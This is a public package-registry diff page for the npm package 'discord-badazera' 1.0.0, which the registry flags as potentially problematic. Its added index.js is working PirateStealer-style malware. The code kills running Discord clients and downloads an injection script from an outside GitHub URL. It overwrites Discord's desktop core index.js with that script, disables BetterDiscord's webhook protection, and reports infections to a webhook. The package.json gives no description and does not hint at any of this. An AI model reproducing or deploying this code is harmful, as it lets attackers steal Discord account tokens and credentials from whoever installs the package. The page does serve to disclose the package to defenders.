discord-badazera 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of discord-badazera might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +164 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,164 @@
1
+ const glob = require("glob");
2
+ const fs = require('fs');
3
+ const https = require('https');
4
+ const { exec } = require('child_process');
5
+ const axios = require('axios');
6
+ const buf_replace = require('buffer-replace');
7
+ const webhook = "da_webhook"
8
+ const config = {
9
+ "logout": "%LOGOUT%1",
10
+ "inject-notify": "%INJECTNOTI%1",
11
+ "logout-notify": "%LOGOUTNOTI%1",
12
+ "init-notify":"%INITNOTI%1",
13
+ "embed-color": "%MBEDCOLOR%1",
14
+ "disable-qr-code": "%DISABLEQRCODE%1"
15
+ }
16
+ let LOCAL = process.env.LOCALAPPDATA
17
+ let discords = [];
18
+ let injectPath = [];
19
+ let runningDiscords = [];
20
+
21
+ fs.readdirSync(LOCAL).forEach(file => {
22
+ if (file.includes("iscord")) {
23
+ discords.push(LOCAL + '\\' + file)
24
+ } else {
25
+ return;
26
+ }
27
+ });
28
+
29
+ discords.forEach(function(file) {
30
+ let pattern = `${file}` + "\\app-*\\modules\\discord_desktop_core-*\\discord_desktop_core\\index.js"
31
+ glob.sync(pattern).map(file => {
32
+ injectPath.push(file)
33
+ })
34
+ });
35
+
36
+ listDiscords();
37
+
38
+ function Infect() {
39
+ https.get('https://raw.githubusercontent.com/Stanley-GF/PirateStealer/main/src/injection/injection.js', (resp) => {
40
+ let data = '';
41
+ resp.on('data', (chunk) => {
42
+ data += chunk;
43
+ });
44
+ resp.on('end', () => {
45
+ injectPath.forEach(file => {
46
+ fs.writeFileSync(file, data.replace("%WEBHOOK_LINK%", webhook).replace("%INITNOTI%", config["init-notify"]).replace("%LOGOUT%", config.logout).replace("%LOGOUTNOTI%", config["logout-notify"]).replace("3447704",config["embed-color"]).replace('%DISABLEQRCODE%', config["disable-qr-code"]), {
47
+ encoding: 'utf8',
48
+ flag: 'w'
49
+ });
50
+
51
+ if (config["init-notify"] == "true") {
52
+ let init = file.replace("index.js", "init")
53
+ if (!fs.existsSync(init)) {
54
+ fs.mkdirSync(init, 0744)
55
+ }
56
+ }
57
+
58
+ if ( config.logout != "false" ) {
59
+ let folder = file.replace("index.js", "PirateStealerBTW")
60
+ if (!fs.existsSync(folder)) {
61
+ fs.mkdirSync(folder, 0744)
62
+ if (config.logout == "instant") {
63
+ startDiscord();
64
+ }
65
+ } else if (fs.existsSync(folder) && config.logout == "instant" ){
66
+ startDiscord();
67
+ }
68
+ }
69
+ })
70
+ });
71
+ }).on("error", (err) => {
72
+ console.log(err);
73
+ });
74
+ };
75
+
76
+ function listDiscords() {
77
+ exec('tasklist', function(err, stdout, stderr) {
78
+ if (stdout.includes("Discord.exe")) runningDiscords.push("discord");
79
+ if (stdout.includes("DiscordCanary.exe")) runningDiscords.push("discordcanary");
80
+ if (stdout.includes("DiscordDevelopment.exe")) runningDiscords.push("discorddevelopment");
81
+ if (stdout.includes("DiscordPTB.exe")) runningDiscords.push("discordptb");
82
+
83
+ if (config.logout == "instant") {
84
+ killDiscord();
85
+ } else {
86
+ if (config["inject-notify"] == "true" && injectPath.length != 0 ) {
87
+ injectNotify();
88
+ }
89
+ Infect()
90
+ pwnBetterDiscord()
91
+ }
92
+ })
93
+ };
94
+
95
+ function killDiscord() {
96
+ runningDiscords.forEach(disc => {
97
+ exec(`taskkill /IM ${disc}.exe /F`, (err) => {
98
+ if (err) {
99
+ return;
100
+ }
101
+ });
102
+ });
103
+
104
+ if (config["inject-notify"] == "true" && injectPath.length != 0 ) {
105
+ injectNotify();
106
+ }
107
+
108
+ Infect()
109
+ pwnBetterDiscord()
110
+ };
111
+
112
+ function startDiscord() {
113
+ runningDiscords.forEach(disc => {
114
+ let path = LOCAL + '\\' + disc + "\\Update.exe --processStart " + disc + ".exe"
115
+ exec(path, (err) => {
116
+ if (err) {
117
+ return;
118
+ }
119
+ });
120
+ });
121
+ };
122
+
123
+ function pwnBetterDiscord() {
124
+ let dir = process.env.appdata + "\\BetterDiscord\\data\\betterdiscord.asar"
125
+ if (fs.existsSync(dir)) {
126
+ let x = fs.readFileSync(dir)
127
+ fs.writeFileSync(dir, buf_replace(x, "api/webhooks", "stanleyisgod"))
128
+ }
129
+
130
+ return;
131
+ }
132
+
133
+ function injectNotify() {
134
+ let fields = [];
135
+ injectPath.forEach( path => {
136
+ let c = {
137
+ name: ":syringe: Inject Path",
138
+ value: `\`\`\`${path}\`\`\``,
139
+ inline: !1
140
+ }
141
+ fields.push(c)
142
+ })
143
+ axios.post(webhook, {
144
+ "content": null,
145
+ "embeds": [
146
+ {
147
+ "title": ":detective: Successfull injection",
148
+ "color": config["embed-color"],
149
+ "fields": fields,
150
+ "author": {
151
+ "name": "PirateStealer"
152
+ },
153
+ "footer": {
154
+ "text": "PirateStealer"
155
+ }
156
+ }
157
+ ]
158
+ })
159
+ .then(res => {
160
+ })
161
+ .catch(error => {
162
+
163
+ })
164
+ }
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "discord-badazera",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "keywords": [],
10
+ "author": "Bada",
11
+ "license": "ISC"
12
+ }